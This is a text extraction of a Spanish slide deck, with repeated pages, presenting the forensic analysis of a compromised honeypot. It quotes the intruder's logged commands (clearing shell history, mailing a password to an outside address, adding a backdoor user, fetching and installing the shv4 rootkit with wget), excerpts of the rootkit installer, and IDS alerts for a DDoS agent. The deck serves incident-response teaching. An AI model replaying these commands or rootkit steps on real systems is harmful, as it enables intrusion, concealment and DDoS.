bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 20: Demostracion Hacking Honeypot y Análisis Forense

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 21: Demostracion Hacking Honeypot y Análisis Forense

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 22: Demostracion Hacking Honeypot y Análisis Forense

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

